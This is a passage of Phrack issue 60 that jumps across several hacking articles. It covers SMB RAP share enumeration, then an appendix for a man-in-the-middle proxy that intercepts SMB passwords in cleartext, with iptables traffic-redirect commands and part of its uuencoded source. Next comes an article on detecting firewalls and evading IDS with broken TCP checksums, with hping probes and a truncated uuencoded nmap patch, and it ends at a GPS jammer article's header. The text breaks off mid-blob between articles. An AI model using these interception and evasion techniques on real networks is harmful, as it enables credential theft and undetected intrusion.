RAP (Remote Administration Protocol) is the SMB implementation of RPC.

RAP request :

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|

|TCP HDR |

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|

|NETBIOS HDR |

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|

|SMB BASE HDR |

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|

|SMB TRANSACTION REQUEST HDR|

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|

|RAP REQUEST PARAMETERS |

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|

|RAP REQUEST DATAS |

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|

RAP Reply :

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|

|TCP HDR |

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|

|NETBIOS HDR |

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|

|SMB BASE HDR |

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|

|SMB TRANSACTION REPLY HDR |

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|

|RAP REPLY PARAMETERS |

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|

|RAP REPLY DATAS |

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|

When you use a RAP command you always find the string "\PIPE\LANMAN" in the "Name" field in the transaction (request and reply) header.

These are several examples of RAP commands :

‑NETSHAREENUM : Retrieve information about each shared ressource on a server

‑NETSERVERENUM2 : List all the computer of specified types in a specified domain

‑NETSERVERGETINFO : Get information about a specified server

‑NETSHAREGETINFO : Retrieve information about a paticular shared ressource

‑NETWKSTAUSERLOGON : Execute on a SMB server for logging an user.

‑NETWSTAUSERLOGOFF : The same but for deloging.

‑NETUSERGETINFO : Obtain information about a particular user.

‑NETWKSTAGETINFO : Obtain information about a particular station.

‑SAMOEMCHANGEPASSWORD : For changing the password of a specified user on a remote SMB server.

I'm not going to describe all of these commands, I will just take one for example (to have a listing of shared resource avaible on a server).

If you want to know more about RAP commands read [2].

‑‑[ 8 ‑ Using RAP commands to list available shares on a server

This part is a complement of the previous chapter. I will explain how the RAP commands work by giving an example.

The program given in Appendix B is the implementation of what is explained in this chapter. It does the same things that the commands "net view \\ServerIP" (for DOS) or "smbclient ‑L ServerIP ‑N " (on Linux). But this program allows you to specified the NETBIOS name, it is a bit anonymous. If you read this source you will learn a lot a things about SMB network programming.

How I can retrieve SMB everyone shares on a network :

The process is easy to understand. The client must be authentificated on the server . The client identifies itself with the process developed in chapter 3 (with no password). When the server has checked the identity of the client, the client sends a Tconx request (after the Sessetupx reply).

Tconx means "Tree CONnect and X).

The TconX request packet is used to acess to a shared ressource.

‑‑‑‑[ 8.1 ‑ Tconx Packets

Request header

The TconX packets are layered on the SMB Base Header ("Command" = 0x75).

UCHAR WordCount; Count of parameter words = 4 UCHAR AndXCommand; Secondary (X) command; 0xFF = none UCHAR AndXReserved; Reserved (must be 0)

USHORT AndXOffset; Offset to next command WordCount USHORT Flags; Additional information

USHORT PasswordLength; Length of Password[]

USHORT ByteCount; Count of data bytes; min = 3 UCHAR Password[]; Password

STRING Path[]; Server name and share name STRING Service[]; Service name

The password was sent during the session establishement.

The Password length is set to 1 and and the Password

string contains null value (0x00).

The string "Path" contains the name of the ressource that client wishes connect. It use the unicode style syntax . For example I want to connect on a share called "myshare" on a server called "myserver" . The Path string will containt "\\myserver\myshare".

The "Service" string contains the type of ressource requested :

stringType of ressource

"A:" disk share.

"LPT1:" printer.

"IPC" named pipe.

"COMM" communications device.

"?????" any type of device.

For scaning any type of device you must use the "?????" string in the "Service" field.

After sending your Tconx request on the server. The server replies with a TconX reply. You must recover the "Tid" field (in the SMB Base header) which is the Transaction request with the RAP command.

You must specified to the server that you want to know which ressources are available. For this, you must use the RAP command : NETSHAREENUM.

‑‑‑‑[ 8.2 ‑ Explanation of the RAP command "NetShareEnum" :

The RAP command that we will study is NetShareEnum.

The RAP Command "NetshareEnum" request :

The field "Parameters" of the transaction request header received :

The 16 bit code of function NetShareEnum : 0;

The parameter desriptor string : "WrLeh"

Data descriptor string for returned data : "B13BWZ"

A 16 bit integer with a value of x01;

A 16 bit integer that contains the size of the receive buffer.

It will be too long to explain how parameter and data descriptor strings works. These strings are used to know the size and the format of parameters and datas. One parameter and one data descriptor string is defined for each RAP command.

if you want to know more about this strings, read [2].

No datas are needed for this request so the "DataCount" and "TotalDataCount" fields are equal to zero.

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| NETBIOS HDR |‑‑‑‑‑‑‑‑‑> 4 bytes

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| SMB BASE HDR |‑‑‑‑‑‑‑‑‑> 32 Bytes

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| SMB TRANSACTION REQUEST HDR |

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The Transaction request "Parameters" field receives the parameters for the RAP request :

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑|

| 0x0000 | ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑A

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑

| W r | L e | h 0x00|‑‑‑‑‑‑‑‑‑‑‑> B

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑

| B 1 | 3 B | W Z | 0x00 |‑‑‑> C

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑

| 0x0001 | 0xffff |‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑> D

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑‑‑‑‑‑‑|

A : The NetshareEmun function code : 0x00

B : The parameter descriptor string

C : The data descriptor string

D : 0x01 (defined value) and 0xffff (Max size of the received buffer)

And the server replies :

the "Parameters" field of the transaction reply header receives :

A 16 bit integer word that contains the return status code :

Succes 0

Access Denied 5

Network Acess Denied 65

More data 234

Server not started 2114

Transaction configuration bad 2141

A 16 bit "converted word", uses to calculate an offset to remark strings.

A 16 bit containts the number of entries returned = number of SHARE_INFO structure (see below ).

A 16 bit representing the number of available entries.

The field "Data" of the transaction reply header contains the several SHARE_INFO structures.

The SHARE_INFO structure contains the information about each shared ressource available and it is defined like this :

struct SHARE_INFO {

char shi1_netname[13]; /*Name of the ressource*/

char shi1_pad; /*Pad to a word*/

unsigned short shi1_type;

/*Code specifies the type of the shared resssource :

0 Disk Directory tree

1 Printer queue

2 Communications device

3 IPC*/

char *shi1_remark; /*Remark on the specified

ressource*/

}

shi1_remark is a 32 bits pointer to a string. This string contains a remark about a shared ressource. You must substract the 16 lower bits of "shi1_remark" to the "converter word" to know the offset between this string and the beginning of the RAP reply parameters header.

In fact with a ascii schema :

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| NETBIOS HDR |‑‑‑‑‑‑‑‑‑‑‑‑> 4 bytes

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| SMB BASE HDR |‑‑‑‑‑‑‑‑‑‑‑‑> 32 Bytes

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| SMB TRANS REPLY HDR |

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Description of the "Parameters" section of the Transaction reply packet (corresponding to the parameters of the NetShareEnum reply) :

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| status code |‑‑‑‑‑‑‑‑‑‑‑‑‑> 2 bytes

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| converted word |‑‑‑‑‑‑‑‑‑‑‑‑‑> 2 bytes

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| number of entries returned |‑‑‑‑‑‑‑‑‑‑‑‑‑> 2 bytes

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| number of entries available |‑‑‑‑‑‑‑‑‑‑‑‑‑> 2 bytes

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Data section of the Transaction reply (corresponding to the several SHARE_INFO structures if there is more than one ressource available) :

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| shi1_netname |‑‑‑‑‑‑‑‑‑‑‑> 13 bytes

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| shi1_pad to pad to word |‑‑‑‑‑‑‑‑‑‑‑> 1 byte

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| type of service |‑‑‑‑‑‑‑‑‑‑‑2 bytes

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| pointer to remark string |‑‑‑‑‑‑‑‑‑‑‑> 4 bytes

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

.

Another SHARE_INFO structures

.

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| remark string 1 |

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| another remarks strings |

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑[ 9 ‑ Conclusion :

I hope you have learned a lot of things in this article.

If you have any comments, questions, send it at :

<ledin@encephalon‑zero.com>

‑‑[ 10 ‑ References

[1] "A common Internet File System (CIFS/1.0) Protocol Preliminary Draft", Paul J.Leach and Dilip C. Naik http://www.snia.org/tech_activities/CIFS/CIFS‑TR‑1p00_FINAL.pdf

[2] "CIFS Remote Administration Protocol Preliminary Draft" Paul J.Leach and Dilip C. Naik http://us6.samba.org/samba/ftp/specs/cifsrap2.txt

[3] RFC 1001

http://www.faqs.org/rfcs/rfc1001.html

[4] RFC 1002

http://www.faqs.org/rfcs/rfc1002.html

‑‑[ 11 ‑ Thanks

Just a Merry Christmas to TearDrop, Frealek and "el Tonio".

A big thank to TearDrop for all. Without him, nothing could

be possible !

Take a look at <gps.sourceforge.net>, you will find a very good (and free) scanner !.

Thanks to Mr D. (my network administrator !), for all the advices and the several Linux distribs.

Thanks to the Chemical brothers for the inspirational music.

Thanks to the phrack staff, for all their remarks and particulary about the transparent proxy attack.

To you for reading this article ;).

‑‑[ Appendix A

This program allows you to have password in clear directly from the network when they should be encrypted. It works with libnet (v 1.1 !) and libpcap.

This is the implementation of the Transparent proxy attack of the chapter 6.6.

libnet : www.packetfactory.net

libpcap : www.tcpdump.org

You must be root to compile and to execute this program !

If you want to compile it, you could use :

"gcc SMBproxy.c ‑o SMBproxy ‑lnet ‑lpcap"

If you want to use it :

"SMBproxy ‑i interface

‑c Client's IP address

‑s Server's IP address

‑f your fake IP (what you want : 6.6.6.6 for example)" ‑l listening port (1139 by default)

Be careful the program will ask you about Windows 2k/XP specifictions support. But you must answer "y" when NBT is disabled not when it's enabled on Windows 2k/XP !

You give the IP adress of a client and of the server, this program waits a connection of the client to a SMBserver, launches the attack, recovers the password and redirects the traffic.

The fake IP parameter corresponds to your fake IP, give what you want ! The attacker's machine should have no active connections with the server or with the client (like FTP or telnet ...).

The default listening port is 1139

This program gives the password and the user name (if necessary). It also gives the security level (share or user). If the connection has succeeded, it gives the name of the share and a message like "password valid". If it has failed, it gives nothing (just the password and the user name).

This program should be compiled on Linux for some technical reasons, like the network byte ordering. You shouldn't use it on the loopback interface.

Support Windows 2k/XP specifications.

This is the iptables/NAT command to execute on the attacker's machine

To redirect incoming traffic to port 139 on port 1139

#iptables ‑t nat ‑A PREROUTING ‑i eth0 ‑p tcp ‑s 192.168.1.3 \ ‑‑dport 139 ‑j REDIRECT ‑‑to‑port 1139

192.168.1.3 is the IP address of the client.

To redirect the whole traffic

#iptables ‑t nat ‑A POSTROUTING ‑o eth0 ‑j MASQUERADE

To redirect incoming traffic to port 445 on port 1139

(for Windows 2k/XP client with NBT disabled)

#iptables ‑t nat ‑A PREROUTING ‑i eth0 ‑p tcp ‑s 192.168.1.3 \ ‑‑dport 445 ‑j REDIRECT ‑‑to‑port 1139

192.168.1.3 is the IP address of the client.

if you want to perform the downgrade attack of the chapter 6.8 remplace the port 1139 by a closed port.

Be careful, for the traffic redirection, this line must be present in the /etc/sysconfig/network :

FORWARD_IPV4=true

This program doesn't support UNICODE strings.

Successfully tested with samba server 2.0 .

begin 600 smb_MiM_proxy.c M+RHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ M*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*@T*("`@("`@("`@("`@("`@("`@

Firewall Spotting with broken CRC

==Phrack Inc.==

Volume 0x0b, Issue 0x3c, Phile #0x0c of 0x10

|=‑‑‑‑=[ Firewall spotting and networks analisys with a broken CRC ]=‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ Ed3f ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

‑‑[ Contents

0 ‑ School

1 ‑ Something In The Way

2 ‑ Come As You Are

3 ‑ You Know You're Right

4 ‑ Drain You

5 ‑ Big Long Now

‑‑[ 0 ‑ School

Packet filters firewall are going to be deployed more and more for the sense of security the word "firewall" has got on not‑technical people. Available as commercial software, embedded device or inside opensource OS they work at level 3. The support for level 4 isn't complete: they filter ports numbers, TCP flags, seq numbers, defragmentation, but ...

What about level 4 checksum?

Are they checking for TCP checksum before analyze flags or port numbers? No.

Most developers say there would be too overhead and other think that the packet will be simply dropped by destination OS stack. All correct, but how could we take advantage of this "feature"?

1) firewalls reply spotting

2) damn 31337 MiM spotting

3) insert invalid packets inside a network

‑‑[ 1 ‑ Something In The Way

A complete network stack will drop invalid packets without response. No matter if that port is closed, open or whatever... But Packet Filters aren't so smart and they will reply.

If we want to determine if there is a packet filter between us and a target host we must first check if the packet filter is configured to drop the packets or to send back an error. For this we send a valid tcp packet to any port that is supposed to be filtered:

# telnet www.oracle.com 31337

Trying 148.87.9.44...

telnet: Unable to connect to remote host: Connection refused

Good. Either the target host itself or a packet filter sends back a RST. Next step is to check if the RST comes from the target host or from a packet filter:

# hping ‑S ‑c 1 ‑p 31337 ‑b www.oracle.com

HPING www.oracle.com (rl0 148.87.9.44): S set, 40 headers + 0 data bytes len=46 ip=148.87.9.44 flags=RA seq=0 ttl=23 id=52897 win=512 rtt=459.8 ms

If we get a reply we know that a packet filter is in place. If we dont get a reply we suspect that the packet arrives unfiltered at the destination host and is dropped by the TCP stack (e.g. no packet filter is in place).

Another technique to detect the existence of a packet filter is to compare the TTL of a RST and a SYN (which comes directly from the target host). The TTL‑technique fails for all packet filters in bridging mode or filters that do not decrease the TTL and are placed directly in front of the target host (normal DMZ setup). The CRC‑technique as described above on the other hand detects a packet filtering device in both cases.

Other example, UDP this time:

# hping ‑2 ‑c 1 ‑p 53 ‑b www.redhat.com

HPING www.redhat.com (rl0 66.187.232.56): udp mode set, 28 headers + 0 data ICMP Packet filtered from ip=63.146.1.74 name=UNKNOWN

Having a way to distinguish packets from the host and the firewall, let us use OS identification tools working only with firewall packets without mixing host and firewall replys. Try nmap ‑O.

Interesting ?

Well I made a quick patch for Nmap‑3.1ALPHA4 that add 2 new type of scan: ‑sZ BadTCP SYN stealth port scan

‑sV BadUDP port scan

Note that ‑sZ is derived by a bad drawn ‑sS and ‑sV by ‑sU. BadTCP scan uses FIN scan engine because the default behavior of a host is not to reply. BadUDP scan uses UDP scan engine because the default behavior of a host is not to reply.

I hope that Fyodor will think about a from scratch version of Nmap for version 4.00 that could permit to define the real and complete situation of host ports:

‑ closed

‑ opened

‑ filtered (no reply)

‑ firewalled (firewall reply)

The patch is below.

How does Scanlogd work against this new type scans? Uhm, it still thinks that they are valid packets and it doesn't give the configuration options to alert for valid or invalid SYN packets.

‑‑[ 2 ‑ Come As You Are

Ok, so packet filters, even the beautiful OpenBSD 3.2 PF, will have to calculate the checksum for every packet? No, to avoid reply spotting they could check the checksum only for packets they want to reply. However it should be introduced an option to spot broken checksum packets and drop them.

Some tools that let you alter packets and permit MiM exist, like ettercap, and let your host send packets to the right box and after logging/altering forward them to the real destination.

How could we spot the banner trick ?

# echo "SSH‑1.99" > /tmp/banner

# hping ‑S ‑c 1 ‑p 22 ‑E /tmp/banner ‑d 9 ‑b mybox

If you receive a SYN+ACK you can start swearing...

Note that depends on how the MiM attack is developed. For example DSniff check TCP checksum because it works in proxed mode, while ettercap, that uses a non‑proxed method, doesn't. Generally if you don't add such a sanity check in your tool you could be discovered.

Is this check always needed? No, it's needed if you want to alter a packet or you want to reply to a received packet. So if your tool simply sniff packets without sending/modifying them you're safe.

Ok, but if I want to safely reply‑to/modify packets what is the solution? You have 2 solutions:

1) check the checksum for every packet and work only if correct without dropping it in any case; modify/reply‑to using a valid checksum. 2) using Incremental Updating of the Internet Checksum [RFC1141] for packets that needs to be modified; checking the checksum for packets you want to reply

Note that incremental updating will keep a checksum broken if it was broken and correct if it was correct and it's really faster than calculating it from scratch.

Curiosity: TCP checksum of a source route packets is invalid while it's in flight, because it is based on the final destination IP address, which is altered as the source route is followed (at the destination, it will be correct).

Most default IDS configurations will alert about bad checksumming traffic but never log those packets, so the admin couldn't check the data part and what was going on. Generally it's possible to create a covert shell with a bad cksum tunnel on a r00t compromised box and connect to it without being detected.

Another type of problem could born if the code of a NAT‑box/load balancer calculate che checksum from scratch. In this case we could bypass an IDS if it's placed between our box and this dumb device.

Check this interesting example:

www.oracle.com:80

Evil ‑‑[badSYN]‑‑> Router ‑‑[badSYN]‑‑> Load_Balancer ‑‑[SYN]‑‑> WebServer | |

NIDS1NIDS2

NIDS1 will see a TCP SYN with invalid checksum while NIDS2, if deployed, will see a valid and modifyed SYN. So the webserver will reply to us with a SYN+ACK, letting us talk with it while causing a lot of doubts to NIDS1. What would you think if you were the security manager and you'll find such different results on NIDS1 and NIDS2 ?

The solution is always Incremental Updating [RFC1141].

‑‑[ 3 ‑ You Know You're Right

awgn (31337 H4X0R)

raptor & nobody (LSD project)

batmaNAGA & ALORobin (ettercap authors)

JWK (OpenBSD addicted)

Daniel Hartmeier (Mr.Infinite Patience; OpenBSD PF main coder) antirez (Hping author)

Fyodor (Nmap author)

Ed3f (15b27bed5e11fc0550d7923176dbaf81)

‑‑[ 4 ‑ Drain You

[1] Hping‑‑‑>http://www.hping.org

[2] Nmap‑‑‑>http://www.insecure.org/nmap

[3] Scanlogd‑‑‑>http://www.openwall.com/scanlogd

[4] OpenBSD‑‑‑>http://www.openbsd.org

[5] OpenBSD PF‑‑‑>http://www.benzedrine.cx/pf.html

[6] Ettercap ‑‑‑>http://ettercap.sourceforge.net

[7] DSniff ‑‑‑>http://monkey.org/~dugsong/dsniff

[8] RFC1141 ‑‑‑>http://www.ietf.org/rfc/rfc1141.txt

‑‑[ 5 ‑ Big Long Now

begin 600 nmap‑fw‑detection‑patch.diff

M9&EF9B`M=7).8B!N;6%P+3,N,3!!3%!(030O3FUA<$]P<RYC8R!N;6%P+3,N M,3!!3%!(030M8F%D+TYM87!/<',N8V,*+2TM(&YM87`M,RXQ,$%,4$A!‑"]. M;6%P3W!S+F‑C"5=E9"!/8W0@,C,@,#@Z‑3$Z‑3<@,C`P,@HK*RL@;FUA<"TS M+C$P04Q02$$T+6)A9"].;6%P3W!S+F‑C"51H=2!$96,@,3(@,#<Z‑3@Z,C0@ M,C`P,@I`0"`M,30X+#8@*S$T."PW($!`"B`@(&QI<W1S8V%N(#T@<&EN9W‑C M86X@/2!A;&QO=V%L;"`](&%C:W‑C86X@/2!B;W5N8V5S8V%N(#T@8V]N;F5C M='‑C86X@/2`P.PH@("!R<&‑S8V%N(#T@;G5L;'‑C86X@/2!X;6%S<V‑A;B`]

M(&9R86=S8V%N(#T@<WEN<V‑A;B`]('=I;F1O=W‑C86X@/2`P.PH@("!M86EM M;VYS8V%N(#T@:61L97‑C86X@/2!F:6YS8V%N(#T@=61P<V‑A;B`](&EP<')O M='‑C86X@/2!N;W)E<V]L=F4@/2`P.PHK("!B861T8W!S8V%N(#T@8F%D=61P M<V‑A;B`](&)A9&‑K<W5M(#T@,#L*("`@9F]R8V4@/2!A<'!E;F1?;W5T<'5T M(#T@,#L*("`@8GIE<F\H;&]G9F0L('‑I>F5O9BA&24Q%("HI("H@3$]'7U19 M4$53*3L*("`@;FUA<%]S=&1O=70@/2!S=&1O=70["D!`("TQ‑38L,3$@*S$U M‑RPQ,2!`0`H@?0H@"B!B;V]L($YM87!/<',Z.E1#4%‑C86XH*2!["BT@(')E M='5R;B!A8VMS8V%N?&)O=6YC97‑C86Y\8V]N;F5C='‑C86Y\9FEN<V‑A;GQI

M9&QE<V‑A;GQM86EM;VYS8V%N?&YU;&QS8V%N?'‑Y;G‑C86Y\=VEN9&]W<V‑A M;GQX;6%S<V‑A;CL**R`@<F5T=7)N(&%C:W‑C86Y\8F]U;F‑E<V‑A;GQC;VYN M96‑T<V‑A;GQF:6YS8V%N?&ED;&5S8V%N?&UA:6UO;G‑C86Y\;G5L;'‑C86Y\ M<WEN<V‑A;GQW:6YD;W=S8V%N?'AM87‑S8V%N?&)A9'1C<'‑C86X["B!]"B`*

M(&)O;VP@3FUA<$]P<SHZ54104V‑A;B@I('L*+2`@<F5T=7)N('5D<'‑C86X[ M"BL@(')E='5R;B!U9'!S8V%N?&)A9'5D<'‑C86X["B!]"B`*(`I`0"`M,C$X M+#<@*S(Q.2PW($!`"B`@("`@?0H@(V5N9&EF"B`@("`@"BT@("`@:68@*&%C M:W‑C86Y\9FEN<V‑A;GQI9&QE<V‑A;GQI<'!R;W1S8V%N?&UA:6UO;G‑C86Y\ M;G5L;'‑C86Y\<WEN<V‑A;GQU9'!S8V%N?'=I;F1O=W‑C86Y\>&UA<W‑C86XI M('L**R`@("!I9B`H86‑K<V‑A;GQF:6YS8V%N?&ED;&5S8V%N?&EP<')O='‑C M86Y\;6%I;6]N<V‑A;GQN=6QL<V‑A;GQS>6YS8V%N?'5D<'‑C86Y\8F%D=61P M<V‑A;GQW:6YD;W=S8V%N?'AM87‑S8V%N?&)A9'1C<'‑C86XI('L*("‑I9FYD M968@5TE.,S(*("`@("`@(&9A=&%L*")9;W4@<F5Q=65S=&5D(&$@<V‑A;B!T M>7!E('=H:6‑H(')E<75I<F5S('(P,'0@<')I=FEL96=E<RP@86YD('EO=2!D M;R!N;W0@:&%V92!T:&5M+EQN(BD["B`C96QS90I`0"`M,C4Y+#$U("LR‑C`L M,34@0$`*("`@:68@*&)O=6YC97‑C86X@)B8@<&EN9W1Y<&4@(3T@4$E.1U19 M4$5?3D].12D@"B`@("`@;&]G7W=R:71E*$Q/1U]35$1/550L(")(:6YT.B!I M9B!Y;W5R(&)O=6YC92!S8V%N('1A<F=E="!H;W‑T<R!A<F5N)W0@<F5A8VAA M8FQE(&9R;VT@:&5R92P@<F5M96UB97(@=&\@=7‑E("U0,"!S;R!W92!D;VXG M="!T<GD@86YD('!I;F<@=&AE;2!P<FEO<B!T;R!T:&4@<V‑A;EQN(BD["B`@ M(`HM("!I9B`H86‑K<V‑A;BMB;W5N8V5S8V%N*V‑O;FYE8W1S8V%N*V9I;G‑C M86XK:61L97‑C86XK;6%I;6]N<V‑A;BMN=6QL<V‑A;BMS>6YS8V%N*W=I;F1O M=W‑C86XK>&UA<W‑C86X@/B`Q*0HM("`@(&9A=&%L*")9;W4@<W!E8VEF:65D

M(&UO<F4@=&AA;B!O;F4@='EP92!O9B!40U`@<V‑A;BX@(%!L96%S92!C:&]O M<V4@;VYL>2!O;F4@;V8@+7‑!+"`M8BP@+7‑4+"`M<T8L("US22P@+7‑‑+"`M M<TXL("US4RP@+7‑7+"!A;F0@+7‑8(BD["BL@(&EF("AA8VMS8V%N*V)O=6YC M97‑C86XK8V]N;F5C='‑C86XK9FEN<V‑A;BMI9&QE<V‑A;BMM86EM;VYS8V%N M*VYU;&QS8V%N*W‑Y;G‑C86XK=VEN9&]W<V‑A;BMX;6%S<V‑A;BMB861T8W!S M8V%N(#X@,2D**R`@("!F871A;"@B66]U('‑P96‑I9FEE9"!M;W)E('1H86X@ M;VYE('1Y<&4@;V8@5$‑0('‑C86XN("!0;&5A<V4@8VAO;W‑E(&]N;'D@;VYE

M(&]F("US02P@+6(L("US5"P@+7‑&+"`M<TDL("US32P@+7‑.+"`M<U,L("US M5RP@+7‑8(&%N9"`M<UHB*3L*("`@"B`@(&EF("AN=6UD96‑O>7,@/B`P("8F M("AB;W5N8V5S8V%N('Q\(&‑O;FYE8W1S8V%N*2D@>PH@("`@(&5R<F]R*")7 M05).24Y'.B!$96‑O>7,@87)E(&ER<F5L979A;G0@=&\@=&AE(&)O=6YC92!O M<B!C;VYN96‑T('‑C86YS(BD["B`@('T*("`@"BT@(&EF("AF<F%G<V‑A;B`F M)B`A*&%C:W‑C86Y\9FEN<V‑A;GQM86EM;VYS8V%N?&YU;&QS8V%N?'‑Y;G‑C M86Y\=VEN9&]W<V‑A;GQX;6%S<V‑A;BDI('L*+2`@("!F871A;"@B1G)A9W‑C M86X@;VYL>2!W;W)K<R!W:71H($%#2RP@1DE.+"!‑86EM;VXL($Y53$PL(%‑9 M3BP@5VEN9&]W+"!A;F0@6$U!4R!S8V%N('1Y<&5S(BD["BL@(&EF("AF<F%G M<V‑A;B`F)B`A*&%C:W‑C86Y\9FEN<V‑A;GQM86EM;VYS8V%N?&YU;&QS8V%N M?'‑Y;G‑C86Y\=VEN9&]W<V‑A;GQX;6%S<V‑A;GQB861T8W!S8V%N*2D@>PHK M("`@(&9A=&%L*")&<F%G<V‑A;B!O;FQY('=O<FMS('=I=&@@04‑++"!&24XL

end

Low Cost and Portable GPS Jammer

==Phrack Inc.==

Volume 0x0b, Issue 0x3c, Phile #0x0d of 0x10

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ Low Cost and Portable GPS Jammer ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ anonymous <p60_0d@author.phrack.org ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

‑‑[ Contents

1 ‑ Project Overview

2 ‑ Why?

3 ‑ Technical Description

3.1 ‑ Phase Locked Loop

3.2 ‑ Noise Generator

3.3 ‑ RF Amplifiers

3.4 ‑ Voltage Regulation

3.5 ‑ Antenna

4 ‑ Construction Notes

4.1 ‑ Component Purchasing

4.2 ‑ Layout

5 ‑ Operation

6 ‑ References

Appendix A: Links to Datasheets

Appendix B: Schematic Diagram ‑ gps_jammer.ps.gz (uuencoded)

‑‑[ 1 ‑ Project Overview

